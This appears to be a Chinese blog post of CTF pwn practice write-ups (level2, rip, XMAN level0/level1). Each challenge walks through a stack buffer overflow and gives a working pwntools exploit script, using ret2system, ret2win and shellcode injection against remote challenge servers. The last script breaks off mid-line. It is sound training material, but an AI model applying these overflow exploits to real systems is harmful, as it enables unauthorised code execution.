pwn 练习5月份

level2

题目地址 : https://adworld.xctf.org.cn/task/answer?type=pwn&number=2&grade=0&id=5055&page=1

buf的大小是0x88,但是给了0x100所以会造成溢出

在这里插入图片描述
正好有/bin/sh字符,也有system函数,那我们只需要找到他两的地址构造rop就行
在这里插入图片描述
/bin/sh => 0x0804A024 systme_addr => 0x08048320
在这里插入图片描述
在这里插入图片描述
exp

from pwn import *
io = remote("111.200.241.244",59420)
#sh = process('./test')
#elf = ELF('./test')

sys_addr = 0x08048320
bin_addr = 0x0804a024
payload = 'a'*(0x88 + 0x4) +p32(sys_addr) +p32(0) + p32(bin_addr)
io.sendline(payload)

io.interactive()

在这里插入图片描述

test_your_nc

题目地址 : https://buuoj.cn/challenges#test_your_nc

直接给shell的签到题
在这里插入图片描述
在这里插入图片描述

rip

题目地址 : https://buuoj.cn/challenges#rip
在这里插入图片描述
在这里插入图片描述
在这里插入图片描述
f

un函数的地址是0x00401186

在这里插入图片描述

从gets溢出到rbp是15个字符,总共要构造的15+8个字符串

在这里插入图片描述
在这里插入图片描述
exp

from pwn import *

sh = process('./pwn1')


fun_addr = 0x00401186
payload = 'a'*15 #get溢出到rbp到长度
payload += 'r'*8 #64位rbp到长度是8 32位ebp是4
payload += p64(fun_addr)#getshell函数的地址,让rsp指向他
sh.sendline(payload)
sh.interactive()

可以看到在本地是可以getshell的,但是远端服务器却不行

在这里插入图片描述
在这里插入图片描述

payload 利用retn实现堆栈平衡
payload1 利用retn直接返回fun函数
payload2 利用+1实现堆栈平衡

rom pwn import *


#sh = process('./pwn1')
sh = remote("node4.buuoj.cn",26658)

fun_addr = 0x00401186 #getshell function
bin_sh_addr = 0x0401186
payload = 'a'*15+"a"*8 + p64(0x004011FC) + p64(fun_addr)
payload1 = 'a'*15 + p64(bin_sh_addr)
payload2 = 'a'*15+'a'*8+p64(fun_addr+1)
sh.sendline(payload2)
sh.interactive()

[XMAN]level0

题目地址 : https://www.jarvisoj.com/challenges

64位程序只开了nx

在这里插入图片描述
在这里插入图片描述
程序还有一个callsystem函数是一个getshell函数
在这里插入图片描述
距离rbp有128 到rip到距离是 128+8(32位是4字节 64位是8字节)
在这里插入图片描述

  1 from pwn import *
  2 
  3                                                                             
  4 #sh = process('./level0')
  5 sh = remote('pwn2.jarvisoj.com',9881)
  6 getshell = 0x00400596
  7 payload = b'a'*136 + p64(getshell+1) #+1是为了堆栈平衡
  8 sh.sendline(payload)
  9 sh.interactive()

[XMAN]level1

题目地址 : https://www.jarvisoj.com/challenges
在这里插入图片描述

在这里插入图片描述
在这里插入图片描述

本题构造shellcode溢出到rsp的retn返回到buf的地址执行shellcode,因为nx保护未开启,所以栈上的数据也是能够执行命令的

exp

  1 from pwn import *
  2 #io = process('./level1')
  3 io = remote("pwn2.jarvisoj.com", 9877)
  4 shellcode = asm(shellcraft.sh())
  5 buffer = io.recvline()[14:-2]
  6 buf_addr
  • 0
    点赞
  • 1
    收藏
    觉得还不错? 一键收藏
  • 0
    评论
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值